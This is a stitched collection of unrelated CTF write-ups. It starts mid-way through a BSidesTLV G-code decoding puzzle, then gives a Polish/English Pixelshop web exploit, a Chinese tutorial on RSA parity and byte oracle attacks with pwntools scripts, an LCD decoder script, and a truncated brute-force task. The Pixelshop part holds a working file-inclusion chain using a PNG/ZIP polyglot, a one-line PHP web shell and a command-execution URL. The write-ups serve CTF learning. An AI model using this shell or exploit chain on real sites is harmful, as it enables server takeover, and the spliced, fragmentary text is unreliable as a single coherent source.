SUVZRUlNQlRHTVlER1JKU0dVWlRHTVpSR000VEtNQlNIQVpUQU1aWUdOQ1RFTVJUR1FaVENNWllHVVlERU1CVEdBWlRBTVpaR00zRElNQlNHQVpUT05BPQ==
SUVZRUlNQlJHTTRER1JKU0dVWlRHTVpSR000VEtNQlNHWVpUT00yRkdJWURHTkJUR0VaVFFOSlFHSVlER01CVEdBWlRTTVpXR1FZREVNQlRHNDJBPT09PQ==
SUVZRUlNQlZHTTNER05CVEdNWlRBTTJGR0lZVEdNQlRIQVpUS05CUUdJNFRHTlJUR1laVUtNUlJHTVpUR01KVEhFMlRBTVJWR000REdPQlRJVVpETU1aVUdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQlNHTTNER01CVEdJWlRDTTJGR0lZVEdNQlRIQVpUS05CUUdJWlRHTkpUR1laVUtNUlFHTVpUR01KVEhFMlRBTVJXR000REdOUlRJVVpEUU1aVUdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQlNHTTJUR05SVEc0WlRFTTJGR0lZVEdNQlRIQVpUS05CUUdJNFRHTVJUR1VaVUtNUllHTVpER01KVEhFMlRBTVJWR00zVEdOWlRJVVpEQ01aVkdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQlhHTVlER05SVEdJWlRHTTJGR0lZVEdNQlRIQVpUS05CUUdJM0RHT0JURzRaVUtNUlhHTVpER01KVEhFMlRBTVJYR01ZREdOWlRJVVpERU1aVkdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQllHTTJER09KVEc0WlRHTTJGR0lZVEdNQlRIQVpUS05CUUdJM0RHTkJUSEVaVUtNUldHTVpER01KVEhFMlRBTVJaR00zVEdOUlRJVVpER01aVkdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQlNHTTRUR01KVEdNWlRJTTJGR0lZVEdNQlRIQVpUS05CUUdJWlRHT0JUR0FaVUtNUldHTVpER01KVEhFMlRBTVJaR000VEdOSlRJVVpESU1aVkdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
SUVZRUlNQldHTTJER05aVEdRWlRLTTJGR0lZVEdNQlRIQVpUS05CUUdJMlRHTVpUR0FaVUtNUlVHTVpER01KVEhFMlRBTVJXR00zVEdOQlRJVVpETU1aVkdNWVRHT0JWR0FaRENNWlhHUT09PT09PQ==
```
This means that the also had a common prefix after base32 decode: `A0D0`
`A0D0` doesn't really mean anything, but it looks familiar. We're used to seeing `0D0A` at the end of the line, a.k.a. `\r\n`. What if we reverse the string and then decode as ASCII?
```console
echo A0D06333933353E2135343335402630303E2838395028393E2037385021374 | rev | xxd -p -r
G1 X70.98 Y88.006 E3451.53936
```
Now we're getting somewhere!
Searching Google for `g1 x y e`, we get many results about 3D printing. This is a 3D printing format: G-Code!
We can perform a best-effort extraction of the strings, ignoring the fact that this is a network capture, using the following one-liner bash snippet:
```bash
strings BSidesTLV.gnpacp | grep SUVZR | while read line ; do echo $line | base64 -d | base32 -d | rev | xxd -p -r ; done
```
For example, the head of the output would be:
```console
root@kali:/media/sf_CTFs/bsidestlv/The_Lost_Award# strings BSidesTLV.gnpacp | grep SUVZR | while read line ; do echo $line | base64 -d | base32 -d | rev | xxd -p -r ; done | head
G1 F1500 X144.304 Y134.404 E800.40224
G0 F9000 X143.805 Y134.613
G1 F1500 X143.005 Y133.813 E800.44928
G0 F9000 X142.522 Y134.037
G1 F1500 X143.307 Y134.821 E800.49541
G0 F9000 X142.808 Y135.03
G1 F1500 X142.02 Y134.242 E800.54174
G0 F9000 X141.516 Y134.445
G1 F1500 X142.31 Y135.239 E800.58842
G0 F9000 X141.796 Y135.432
```
We save the output to a file, and perform another pass with `cat 3d.gcode | egrep "^G" > 3d_clean.gcode` as a best effort to filter out any junk that might have been added while decoding the different levels.
Then, we can upload the file to a [GCode decoder](http://gcode.ws/) and inspect it.
At first we see something like this:

After zooming it, it's possible to start seeing a vague representation of a flag:

You might be able to see `w3` in the middle of the model.
If we start removing lines from the file, we get a clearer image:

After a few permutations, the flag can be extracted: **BSidesTLV{w3_Pr1nt1ng_3D_FL@gz_n0w!}**
|
sec-knowleage
|
## Pixelshop (Web, 300 points, 15 solves)
Everyone loves pixel art, and thanks to PixelShop you can now create pixel art from your browser! Exciting!
###ENG
[PL](#pl-version)
We get access to a webpage where we can upload icons (max 32x32) or even draw an icon with built-in editor.
Those icons are then placed in /uploads directory with random name as png files.
First thing we notice is the navigation on the page handled by a GET parameter `op`, eg `http://pixelshop.pwning.xxx/?op=upload`
We try to put some other values there and we determine that it's a file inclusion for `.php` files.
We use php filter-wrapper `php://filter/read=convert.base64-encode/resource=` to force base64 encoding of the included pages eg:
`http://pixelshop.pwning.xxx/?op=php://filter/read=convert.base64-encode/resource=index`
This way we extract all source files (see [src](src) directory).
Sources analysis brings us to conclusion that:
- The page only includes `.php` files because the extension is always added, and it's a new PHP so no null-byte poisoning
- Any uploaded image will always have `.png` extension
- We can only upload a proper image to the webpage
- The image is stripped from metadata so no way to smuggle something in exif
- We can manually set palette and image pixels using the built-in image edit feature of the webpage.
The first issue we had to overcome was the ability to include a file of our choosing.
It took us a while to figure out the approach but then we come up with an idea that if wrappers helped us once, they might help again.
There is a `zip://` wrapper which enables unzipping archives on the fly and provides access to the stored files.
This means that it's possible to run: `zip://path_to_zip#file_name` as `include()` argument and this way you can include the file from zip.
This means that if we could upload a zip archive with a php file inside to the webpage, we could then include it via:
`http://pixelshop.pwning.xxx/?op=zip://uploads/our_zip%23file_inside`
And this would unpack the archive and include `file_inside.php` file to the page.
This fixes the problem with file extension since we can control extension of the file inside zip.
But there is still problem with how to upload a zip file when we can only upload a valid image file.
It turns out a proper png file can be also a proper zip file!
And the `zip://` does not take extension into consideration so it can unzip a `.png` file just as well, as long as it's a zip file.
We couldn't simply upload our rigged png file since it would be processed by the page, but we could edit it afterwards.
The edit feature provides API to set palette and pixels using JSON.
Palette is very interesting because it is stored in consecutive bytes inside the PNG file.
Palette needs to come as triplets (for RGB) so we prepare a function to convert given binary payload into palette bytes string:
```python
def form_payload(payload):
b = ["{:02x}".format(ord(c)) for c in binascii.unhexlify(payload)]
for i in range(3-(len(b) % 3)): # padding
b.append("00")
data = []
for i in range(0, len(b), 3):
data.append('"#%s%s%s"' % (b[i], b[i + 1], b[i + 2]))
return ",".join(data)
```
And we prepare a script to edit selected uploaded png file on the webpage and to set our payload as palette bytes:
```python
def edit_file(imagekey, palette_payload):
base_url = "http://pixelshop.pwning.xxx/"
url = base_url + "?op=save"
img = ",".join(['0' for i in range(32 * 32)])
payload = form_payload(palette_payload)
jsonData = """
{
"pal": [%s],
"im":[%s]
}
""" % (payload, img)
data = {"imagekey": imagekey, "savedata": jsonData}
result = requests.post(url, data=data)
print(result.content)
image_url = base_url + "uploads/" + imagekey + ".png"
png = requests.get(image_url)
print(" ".join("{:02x}".format(ord(c)) for c in png.content))
```
Now we need to somehow make this png a proper ZIP file.
The interesting thing about ZIP files is that, unlike most file formats, the header of the file is somewhere at the end.
So the unzip is looking from the end of the file for the main header.
We can also mark anything after this header as "comment" and then unzip will ignore it.
Additionally the ZIP header specifies offsets (from the file start) at which the compressed data are stored.
Since we know the "prefix" of the png file we can simply calculate the ZIP offsets by hand to start in the injected palette.
We execute the code with our crafted zip payload:
`payload_raw = "504B0304140000000800EE769148F0D042901D0000002100000005000000732E706870B3B12FC82850508977770D89564F548FD5803293D46335ADEDED78B900504B01021400140000000800EE769148F0D042901D00000021000000050000000000000001002000000029000000732E706870504B0506000000000100010033000000690000000000"`
And we get an image file uploaded on the server:

Which can be also unzipped, and inside stores `s.php` file with a simple PHP shell inside
```php
<?php $_GET['a']($_GET['b']); ?>
```
With this file safely uploaded in the server as `847cf5ebb78615e61ab646189e3ffbff138801ad.png` we can finally run:
`http://pixelshop.pwning.xxx/?a=system&b=ls /&op=zip://uploads/847cf5ebb78615e61ab646189e3ffbff138801ad.png%23s`
Which runs `system('ls /')`.


And we finally get the flag:
`PCTF{P1x3Ls_ar3_nIc3_but_Sh311_15_sw33ter_b271ea7f} `
###PL version
Dostajemy dostęp do strony pozwalającej na uploadowanie ikonek (max 32x32) oraz na rysowanie/edytowanie ikonek przez wbudowany edytor.
Ikonki są następnie zapisywane w katalogu /uploads z losową nazwą jako pliki png.
Pierwsza rzecz którą zauważyliśmy to fakt, że nawigacja strony odbywa się za pomocą parametru GET `op`, np. `http://pixelshop.pwning.xxx/?op=upload`
Próba umieszczania tam różnych wartości pozwala stwierdzić że ten parametr jest używany jako argument dla include plików `.php`
Wykorzystaliśmy więc filtr-wrapper php `php://filter/read=convert.base64-encode/resource=` żeby wymusić konwersje pliku do base64 przed includowaniem:
`http://pixelshop.pwning.xxx/?op=php://filter/read=convert.base64-encode/resource=index`
We ten sposób uzyskujemy źródła wszystkich plików (patrz katalog [src](src)).
Analiza źródeł pozwala stwierdzić że:
- Strona includuje tylko pliki `.php` ponieważ rozszerzenie jest zawsze doklejane, a jest to nowa wersja PHP niepodatna na null-byte poisoning
- Każdy uploadowany plik będzie miał rozszerzenie `.png`
- Możemy uploadować tylko poprawne obrazki
- Obrazek jest czyszczony z metadanych więc nie ma możliwości przmycić czegoś w exif
- Możemy ręcznie ustawić palete oraz piksele obrazu przez wbudowaną w stronę funkcje edycji ikonek
Pierwszy problem który musieliśmy pokonać to includowanie wybranego przez nas pliku.
Chwile zajęło nam dojście do rozwiązania, ale wreszcie pomyśleliśmy że skoro wrappery pomogły raz to mogą i drugi.
PHP udostępnia wrapper `zip://` który pozwala w locie odpakować archiwum i uzyskać dostęp do jego zawartości.
To oznacza że można wykonać `zip://path_to_zip#file_name` jako parametr `include()` i tym samym includować plik z wnętrza zipa.
To oznacza że gdybyśmy mogli uploadować archiwum zip z plikiem php w środku, to moglibyśmy includować ten plik przez:
`http://pixelshop.pwning.xxx/?op=zip://uploads/our_zip%23file_inside`
I to pozwoliłoby odpakować archiwum i includować plik `file_inside.php` na stronę.
To rozwiązuje problem z rozszerzeniem pliku, ponieważ kontroluejmy rozszerzenie pliku wewnąrz zipa.
Nadal pozostaje jednak problem uploadowania archiwum zip podczas gdy strona pozwala umieszczać tylko poprawne obrazki.
Okazuje się jednak że poprawny plik png może jednocześnie być poprawnym archiwum zip!
A wrapper `zip://` nie bierze pod uwagę rozszerzenia piku więc może odpakować plik `.png` o ile jest to poprawne archiwum.
Nie mogliśmy po prostu uploadować przygotowanego pliku png ponieważ zostałby przez stronę przetworzony, ale mogliśmy do edytować.
Funkcja edycji udostępniała API do ustawiania palety oraz pixeli przez JSONa.
Paleta jest wyjątkowo interesująca bo jest składowana jako kolejne bajty w pliku PNG.
Paleta była przyjmowana jako trójki (RGB) więc przygotowaliśmy funkcje konwertujacą podany payload na palete:
```python
def form_payload(payload):
b = ["{:02x}".format(ord(c)) for c in binascii.unhexlify(payload)]
for i in range(3-(len(b) % 3)): # padding
b.append("00")
data = []
for i in range(0, len(b), 3):
data.append('"#%s%s%s"' % (b[i], b[i + 1], b[i + 2]))
return ",".join(data)
```
A następnie przygotowaliśmy skrypt edytowal plik png na stronie i ustawiał jako palete wybrane przez nas bajty:
```python
def edit_file(imagekey, palette_payload):
base_url = "http://pixelshop.pwning.xxx/"
url = base_url + "?op=save"
img = ",".join(['0' for i in range(32 * 32)])
payload = form_payload(palette_payload)
jsonData = """
{
"pal": [%s],
"im":[%s]
}
""" % (payload, img)
data = {"imagekey": imagekey, "savedata": jsonData}
result = requests.post(url, data=data)
print(result.content)
image_url = base_url + "uploads/" + imagekey + ".png"
png = requests.get(image_url)
print(" ".join("{:02x}".format(ord(c)) for c in png.content))
```
Teraz potrzebujemy sprawić żeby plik png był też plikiem ZIP.
Interesujący fakt na temat plików ZIP jest taki, że w przeciwieństwie do większości formatów, nagłówek pliku jest gdzieś pod koniec.
Więc unzip szuka od końca pliku w poszukiwaniu głównego nagłówka.
Dodatkowo możemy oznaczyć wszystko za nagłowkiem jako "komentarz" i unzip to zignoruje.
Co więcej nagłówek ZIP specyfikuje offsetu (od początku pliku) gdzie znajdują się skompresowane dane.
Ponieważ znamy "prefix" pliku png możemy ręcznie policzyć offsety w pliku ZIP tak żeby zaczynały się we wstrzykiwanej palecie kolorów.
Wykonujemy skrypt z przygotowanym payloadem zip:
`payload_raw = "504B0304140000000800EE769148F0D042901D0000002100000005000000732E706870B3B12FC82850508977770D89564F548FD5803293D46335ADEDED78B900504B01021400140000000800EE769148F0D042901D00000021000000050000000000000001002000000029000000732E706870504B0506000000000100010033000000690000000000"`
I dostajemy na serwerze plik:

Który może zostać odpakowany a w środku zawiera plik `s.php` z prostym php shellem:
```php
<?php $_GET['a']($_GET['b']); ?>
```
Z tym plikiem bezpiecznie leżącym na serwerze jako `847cf5ebb78615e61ab646189e3ffbff138801ad.png` możemy wreszcie uruchomić:
`http://pixelshop.pwning.xxx/?a=system&b=ls /&op=zip://uploads/847cf5ebb78615e61ab646189e3ffbff138801ad.png%23s`
Co daje nam przykładowo `system('ls /')`.


I finalnie dostajemy flagę:
`PCTF{P1x3Ls_ar3_nIc3_but_Sh311_15_sw33ter_b271ea7f} `
|
sec-knowleage
|
# RSA 选择明密文攻击
## 选择明文攻击
这里给出一个例子,假如我们有一个加密 oracle ,但是我们不知道 n 和 e,那
1. 我们可以通过加密 oracle 获取 n。
2. 在 e 比较小( $e<2^{64}$)时,我们可以利用 *Pollard’s kangaroo algorithm* 算法获取 e。这一点比较显然。
我们可以加密 2,4,8,16。那么我们可以知道
$c_2=2^{e} \bmod n$
$c_4=4^{e} \bmod n$
$c_8=8^{e} \bmod n$
那么
$c_2^2 \equiv c_4 \bmod n$
$c_2^3 \equiv c_8 \bmod n$
故而
$c_2^2-c_4=kn$
$c_2^3-c_8=tn$
我们可以求出 kn 和 tn 的最大公因数,很大概率就是 n 了。我们还可以构造更多的例子从来更加确定性地找 n。
## 任意密文解密
假设爱丽丝创建了密文 $C = P^e \bmod n$ 并且把 C 发送给鲍勃,同时假设我们要对爱丽丝加密后的任意密文解密,而不是只解密 C,那么我们可以拦截 C,并运用下列步骤求出 P:
1. 选择任意的 $X\in Z_n^{*}$,即 X 与 N 互素
2. 计算 $Y=C \times X^e \bmod n$
3. 由于我们可以进行选择密文攻击,那么我们求得 Y 对应的解密结果 $Z=Y^d$
4. 那么,由于 $Z=Y^d=(C \times X^e)^d=C^d X=P^{ed} X= P X\bmod n$,由于 X 与 N 互素,我们很容易求得相应的逆元,进而可以得到 P
## RSA parity oracle
假设目前存在一个 Oracle,它会对一个给定的密文进行解密,并且会检查解密的明文的奇偶性,并根据奇偶性返回相应的值,比如 1 表示奇数,0 表示偶数。那么给定一个加密后的密文,我们只需要 log(N) 次就可以知道这个密文对应的明文消息。
### 原理
假设
$C=P^e \bmod N$
第一次时,我们可以给服务器发送
$C*2^e=(2P)^e \bmod N$
服务器会计算得到
$2P \bmod N$
这里
- 2P 是偶数,它的幂次也是偶数。
- N 是奇数,因为它是由两个大素数相乘得到。
那么
- 服务器返回奇数,即 $2P \bmod N$ 为奇数,则说明 2P 大于 N,且减去了奇数个 N,又因为 $2P<2N$,因此减去了一个N, 即 $\frac{N}{2} \leq P < N$,我们还可以考虑向下取整。
- 服务器返回偶数,则说明 2P 小于 N。即 $0\leq P < \frac{N}{2}$,我们还可以向下取整。
这里我们使用数学归纳法,即假设在第 i 次时,$\frac{xN}{2^{i}} \leq P < \frac{xN+N}{2^{i}}$
进一步,在第 i+1 次时,我们可以发送
$C*2^{(i+1)e}$
服务器会计算得到
$2^{i+1}P \bmod N=2^{i+1}P-kN$
$0 \leq 2^{i+1}P-kN<N$
$\frac{kN}{2^{i+1}} \leq P < \frac{kN+N}{2^{i+1}}$
根据第 i 次的结果
$\frac{2xN}{2^{i+1}} \leq P < \frac{2xN+2N}{2^{i+1}}$
那么
- 服务器返回奇数,则 k 必然是一个奇数,k=2y+1, 那么 $\frac{2yN+N}{2^{i+1}} \leq P < \frac{2yN+2N}{2^{i+1}}$。与此同时,由于 P 必然存在,所以第 i+1 得到的这个范围和第 i 次得到的范围必然存在交集。所以 y 必然与 x 相等。
- 服务器返回偶数,则 k 必然是一个偶数,k=2y,此时 y 必然也与 x 相等,那么 $\frac{2xN}{2^{i+1}} \leq P < \frac{2xN+N}{2^{i+1}}$
进一步我们可以这么归纳
```c
lb = 0
ub = N
if server returns 1
lb = (lb+ub)/2
else:
ub = (lb+ub)/2
```
这里虽然是整除, 即下取整,但是无所谓我们在最初时已经分析了这个问题。
### 2018 Google CTF Perfect Secrecy
这里以 2018 年 Google CTF 的题目为例进行分析
```python
#!/usr/bin/env python3
import sys
import random
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
def ReadPrivateKey(filename):
return serialization.load_pem_private_key(
open(filename, 'rb').read(), password=None, backend=default_backend())
def RsaDecrypt(private_key, ciphertext):
assert (len(ciphertext) <=
(private_key.public_key().key_size // 8)), 'Ciphertext too large'
return pow(
int.from_bytes(ciphertext, 'big'),
private_key.private_numbers().d,
private_key.public_key().public_numbers().n)
def Challenge(private_key, reader, writer):
try:
m0 = reader.read(1)
m1 = reader.read(1)
ciphertext = reader.read(private_key.public_key().key_size // 8)
dice = RsaDecrypt(private_key, ciphertext)
for rounds in range(100):
p = [m0, m1][dice & 1]
k = random.randint(0, 2)
c = (ord(p) + k) % 2
writer.write(bytes((c,)))
writer.flush()
return 0
except Exception as e:
return 1
def main():
private_key = ReadPrivateKey(sys.argv[1])
return Challenge(private_key, sys.stdin.buffer, sys.stdout.buffer)
if __name__ == '__main__':
sys.exit(main())
```
可以看出
- 我们可以给服务器两个数,服务器会根据解密后的密文内容来决定使用哪一个。
- 服务器会使用 `random.randint(0, 2)` 来生成随机数,并输出相关的随机 01 字节 c。
乍一看,似乎是完全随机的,仔细查一下 `random.randint(0, 2)` 可以知道其生成随机数是包括边界的,因此其生成偶数的概率大于生成奇数的概率,那么 c 与 p 同奇偶的概率为 2/3。进而我们通过设置 m0 和 m1 就可以知道解密后的密文的最后一位是 0 还是 1 。这其实就是 RSA parity oracle。
exp 如下
```python
import gmpy2
from pwn import *
encflag = open('./flag.txt').read()
encflag = encflag.encode('hex')
encflag = int(encflag, 16)
#context.log_level = 'debug'
m = ['\x00', '\x07']
n = 0xDA53A899D5573091AF6CC9C9A9FC315F76402C8970BBB1986BFE8E29CED12D0ADF61B21D6C281CCBF2EFED79AA7DD23A2776B03503B1AF354E35BF58C91DB7D7C62F6B92C918C90B68859C77CAE9FDB314F82490A0D6B50C5DC85F5C92A6FDF19716AC8451EFE8BBDF488AE098A7C76ADD2599F2CA642073AFA20D143AF403D1
e = 65537
flag = ""
def guessvalue(cnt):
if cnt[0] > cnt[1]:
return 0
return 1
i = 0
while True:
cnt = dict()
cnt[0] = cnt[1] = 0
p = remote('perfect-secrecy.ctfcompetition.com', 1337)
p.send(m[0])
p.send(m[1])
tmp = pow(2, i)
two_inv = gmpy2.invert(tmp, n)
two_cipher = gmpy2.powmod(two_inv, e, n)
tmp = encflag * two_cipher % n
tmp = hex(tmp)[2:].strip('L')
tmp = '0' * (256 - len(tmp)) + tmp
tmp = tmp.decode('hex')
assert (len(tmp) == 128)
p.send(tmp)
#print tmp
data = ""
while (len(data) != 100):
data += p.recv()
for c in data:
cnt[u8(c)] += 1
p.close()
flag = str(guessvalue(cnt)) + flag
print i, flag
i += 1
```
结果如下
```shell
6533021797450432625003726192285181680054061843303961161444459679874621880787893445342698029728203298974356255732086344166897556918532195998159983477294838449903429031335408290610431938507208444225296242342845578895553611385588996615744823221415296689514934439749745119968629875229882861818946483594948270 6533021797450432625003726192285181680054061843303961161444459679874621880787893445342698029728203298974356255732086344166897556918532195998159983477294838449903429031335408290610431938507208444225296242342845578895553611385588996615744823221415296689514934439749745119968629875229882861818946483594948270
```
解码后就可以得到 flag
```shell
CTF{h3ll0__17_5_m3_1_w45_w0nd3r1n6_1f_4f73r_4ll_7h353_y34r5_y0u_d_l1k3_70_m337}
```
### 题目
- 2016 Plaid CTF rabit
- 2016 sharif CTF lsb-oracle-150
- 2018 Backdoor CTF BIT-LEAKER
- 2018 XMAN 选拔赛 baby RSA
## RSA Byte Oracle
假设目前存在一个 Oracle,它会对一个给定的密文进行解密,并且会给出明文的最后一个字节。那么给定一个加密后的密文,我们只需要 $\log_{256}n$ 次就可以知道这个密文对应的明文消息。
### 原理
这个其实算作 RSA parity Oracle 的扩展,既然可以泄露出最后一个字节,那么按道理我们获取密文对应明文的次数应该可以减少。
假设
$C=P^e \bmod N$
第一次时,我们可以给服务器发送
$C*256^e=(256P)^e \bmod N$
服务器会计算得到
$256P \bmod N$
这里
- 256P 是偶数。
- N 是奇数,因为它是由两个大素数相乘得到。
由于 P 一般是小于 N 的,那么$256P \bmod N=256P-kn, k<256$。而且对于两个不同的 $k_1,k_2$,我们有
$256P-k_1n \not\equiv 256P-k_2n \bmod 256$
我们可以利用反证法来证明上述不等式。同时 $256P-kn$ 的最后一个字节其实就是 $-kn$ 在模 256 的情况下获取的。那么,其实我们可以首先枚举出 0~255 情况下的最后一个字节,构造一个 k 和最后一个字节的映射表 map
当服务器返回最后一个字节 b,那么我们可以根据上述构造的映射表得知 k,即减去了 k 个N, 即 $kN \leq 256 P \leq (k+1)N$。
此后,我们使用数学归纳法来获取 P 的范围,即假设在第 i 次时,$\frac{xN}{256^{i}} \leq P < \frac{xN+N}{256^{i}}$
进一步,在第 i+1 次时,我们可以发送
$C*256^{(i+1)e}$
服务器会计算得到
$256^{i+1}P \bmod N=256^{i+1}P-kN$
$0 \leq 256^{i+1}P-kN<N$
$\frac{kN}{256^{i+1}} \leq P < \frac{kN+N}{256^{i+1}}$
根据第 i 次的结果
$\frac{256xN}{256^{i+1}} \leq P < \frac{256xN+256N}{256^{i+1}}$
我们这里可以假设 $k=256y+t$, 而这里的 t 就是我们可以通过映射表获取的。
$\frac{256yN+tN}{256^{i+1}} \leq P < \frac{256yN+(t+1)N}{256^{i+1}}$
与此同时,由于 P 必然存在,所以第 i+1 得到的这个范围和第 i 次得到的范围必然存在交集。
所以 y 必然与 x 相等。
进一步我们可以这么归纳,初始情况下
```
lb = 0
ub = N
```
假设服务器返回了 b,那么
```c
k = mab[b]
interval = (ub-lb)/256
lb = lb + interval * k
ub = lb + interval
```
### 2018 HITCON lost key
这是一个综合题目,首先没有给出 n,我们可以使用选择明文攻击的方式获取 n,当然我们也可以进一步获取 e,最后利用代码如下
```python
from pwn import *
import gmpy2
from fractions import Fraction
p = process('./rsa.py')
#p = remote('18.179.251.168', 21700)
#context.log_level = 'debug'
p.recvuntil('Here is the flag!\n')
flagcipher = int(p.recvuntil('\n', drop=True), 16)
def long_to_hex(n):
s = hex(n)[2:].rstrip('L')
if len(s) % 2: s = '0' + s
return s
def send(ch, num):
p.sendlineafter('cmd: ', ch)
p.sendlineafter('input: ', long_to_hex(num))
data = p.recvuntil('\n')
return int(data, 16)
if __name__ == "__main__":
# get n
cipher2 = send('A', 2)
cipher4 = send('A', 4)
nset = []
nset.append(cipher2 * cipher2 - cipher4)
cipher3 = send('A', 3)
cipher9 = send('A', 9)
nset.append(cipher3 * cipher3 - cipher9)
cipher5 = send('A', 5)
cipher25 = send('A', 25)
nset.append(cipher5 * cipher5 - cipher25)
n = nset[0]
for item in nset:
n = gmpy2.gcd(item, n)
# get map between k and return byte
submap = {}
for i in range(0, 256):
submap[-n * i % 256] = i
# get cipher256
cipher256 = send('A', 256)
back = flagcipher
L = Fraction(0, 1)
R = Fraction(1, 1)
for i in range(128):
print i
flagcipher = flagcipher * cipher256 % n
b = send('B', flagcipher)
k = submap[b]
L, R = L + (R - L) * Fraction(k, 256
), L + (R - L) * Fraction(k + 1, 256)
low = int(L * n)
print long_to_hex(low - low % 256 + send('B', back)).decode('hex')
```
## RSA parity oracle variant
### 原理
如果oracle的参数会在一定时间、运行周期后改变,或者网络不稳定导致会话断开、重置,二分法就不再适用了,为了减少错误,应当考虑逐位恢复。
要恢复明文的第2低位,考虑
$$\{(c(2^{-1*e_1}\mod N_1))^{d_1}\mod N_1\}\pmod2\equiv m*2^{-1}$$
$$
\begin{aligned}
&m*(2^{-1}\mod N_1)\mod2\\
&=(\displaystyle\sum_{i=0}^{logm-1}a_i*2^i)*2^{-1}\mod2\\
&=[2(\displaystyle\sum_{i=1}^{logm-1}a_i*2^{i-1})+a_0*2^0]*2^{-1}\mod 2\\
&=\displaystyle\sum_{i=1}^{logm-1}a_i*2^{i-1}+a_0*2^0*2^{-1}\mod2\\
&\equiv a_1+a_0*2^0*2^{-1}\equiv y\pmod2
\end{aligned}
$$
$$
y-(a_0*2^0)*2^{-1}=(m*2^{-1}\mod2)-(a_0*2^0)*2^{-1}\equiv a_1\pmod2
$$
类似的
$$\{(c(2^{-2*e_2}\mod N_2))^{d_2}\mod N_2\}\pmod2\equiv m*2^{-2}$$
$$
\begin{aligned}
&m*(2^{-2}\mod N_2)\mod2\\
&=(\displaystyle\sum_{i=0}^{logm-1}a_i*2^i)*2^{-2}\mod2\\
&=[2^2(\displaystyle\sum_{i=2}^{logm-1}a_i*2^{i-2})+a_1*2^1+a_0*2^0]*2^{-2}\mod 2\\
&=\displaystyle\sum_{i=2}^{logm-1}a_i*2^{i-1}+(a_1*2^1+a_0*2^0)*2^{-2}\mod2\\
&\equiv a_2+(a_1*2^1+a_0*2^0)*2^{-2}\equiv y\pmod2
\end{aligned}
$$
$$
\begin{aligned}
&y-(a_1*2^1+a_0*2^0)*2^{-2}\\
&=(m*2^{-2}\mod2)-(a_1*2^1+a_0*2^0)*2^{-2}\equiv a_2\pmod2
\end{aligned}
$$
我们就可以使用前i-1位与oracle的结果来得到第i位。注意这里的$2^{-1}$是$2^1$模$N_1$的逆元。所以对剩下的位,有
$$
\begin{aligned}
&\{(c(2^{-i*e_i}\mod N_i))^{d_i}\mod N_i\}\pmod2\equiv m*2^{-i}\\
&a_i\equiv (m*2^{-i}\mod2) -\sum_{j=0}^{i-1}a_j*2^j\pmod2,i=1,2,...,logm-1
\end{aligned}
$$
其中$2^{-i}$是$2^i$模$N_i$的逆元。
就可以逐步恢复原文所有的位信息了。这样的时间复杂度为$O(logm)$。
exp:
```python
from Crypto.Util.number import *
mm = bytes_to_long(b'12345678')
l = len(bin(mm)) - 2
def genkey():
while 1:
p = getPrime(128)
q = getPrime(128)
e = getPrime(32)
n = p * q
phi = (p - 1) * (q - 1)
if GCD(e, phi) > 1:
continue
d = inverse(e, phi)
return e, d, n
e, d, n = genkey()
cc = pow(mm, e, n)
f = str(pow(cc, d, n) % 2)
for i in range(1, l):
e, d, n = genkey()
cc = pow(mm, e, n)
ss = inverse(2**i, n)
cs = (cc * pow(ss, e, n)) % n
lb = pow(cs, d, n) % 2
bb = (lb - (int(f, 2) * ss % n)) % 2
f = str(bb) + f
assert(((mm >> i) % 2) == bb)
print(long_to_bytes(int(f, 2)))
```
## 参考
- https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
- https://pastebin.com/KnEUSMxp
- https://github.com/ashutosh1206/Crypton
|
sec-knowleage
|
#delete newline first at end of input file#
with open('read2.out') as f:
data = f.read()
data=data.split('\n')
trans = []
for i in range(0,len(data),2):
tmp1=map(str,map(int,map(float,data[i].split('\t'))))
tmp2=map(str,map(int,map(float,data[i+1].split('\t'))))
t=''
if tmp1[0] != tmp2[0]:
print '\033[1;31m\]ERROR for',i,'data:',tmp1,tmp2,'\033[0m\]'
else:
if tmp1[0]=='0':
t+='COM\t'
else:
t+='DAT\t'
try:
d=''
t+=tmp1[5]+tmp1[4]+tmp1[3]+tmp1[2]
t+=tmp2[5]+tmp2[4]+tmp2[3]+tmp2[2]
d+=tmp1[5]+tmp1[4]+tmp1[3]+tmp1[2]
d+=tmp2[5]+tmp2[4]+tmp2[3]+tmp2[2]
except:
print tmp1
print tmp2
if tmp1[0]=='1':
t+='\t'+chr(int(d,2))
elif tmp1[0] =='0':
if d[0]=="1":
t+='\t'+'jump to '+str(int(d[1:],2))
elif d=="00000001":
t+='\t'+'clear screen'
elif d[:7]=="0000001":
t+='\t'+'cursor to 0'
elif d[:6]=="000001":
t+='\t'+'entry mode set'
if d[6]=='0':
t+=' decrement cursor'
elif d[6]=='1':
t+=' increment cursor'
if d[7]=='0':
t+=' no display shift'
elif d[7]=='1':
t+=' display shift'
elif d[:5]=="00001":
t+='\t'+'display on/off control'
if d[5]=='0':
t+=' display off'
elif d[5]=='1':
t+=' display on'
if d[6]=='0':
t+=' cursor off'
elif d[6]=='1':
t+=' cursor on'
if d[7]=='0':
t+=' no blink'
elif d[7]=='1':
t+=' blink'
elif d[:4]=="0001":
t+='\t'+'Cursor/display shift'
if d[4]=='0':
t+=' move cursor'
elif d[4]=='1':
t+=' shift display'
if d[5]=='0':
t+=' shift left'
elif d[5]=='1':
t+=' shift right'
elif d[:3]=="001":
t+='\t'+'Function set'
if d[3]=='0':
t+=' 4bit interface'
elif d[3]=='1':
t+=' 8bit interface'
if d[4]=='0':
t+=' 1/8 or 1/11 duty (1 line)'
elif d[4]=='1':
t+=' 1/16 duty (2 lines)'
if d[5]=='0':
t+=' 5x8 dots'
elif d[5]=='1':
t+=' 5x10 dots'
trans.append(t)
for i in trans:
print i
|
sec-knowleage
|
## Brute with Force (PPC, 80p)
Description: People say, you're good at brute forcing... Have fun!
Hint: You don't need to crack the 31. character (newline).
Try to think of different (common) time representations.
Hint2: Time is CET
###ENG
[PL](#pl-version)
Server sends input as:
Hint: Format is TIME:CHAR
Char 0: Time is 22:02:54, 052th day of 2016 +- 30 seconds and the hash is: ae3c4c0487d14dd3314facdc2d4408a845da947f
And our task is to find the right timestamp and the right character which will hash to given value.
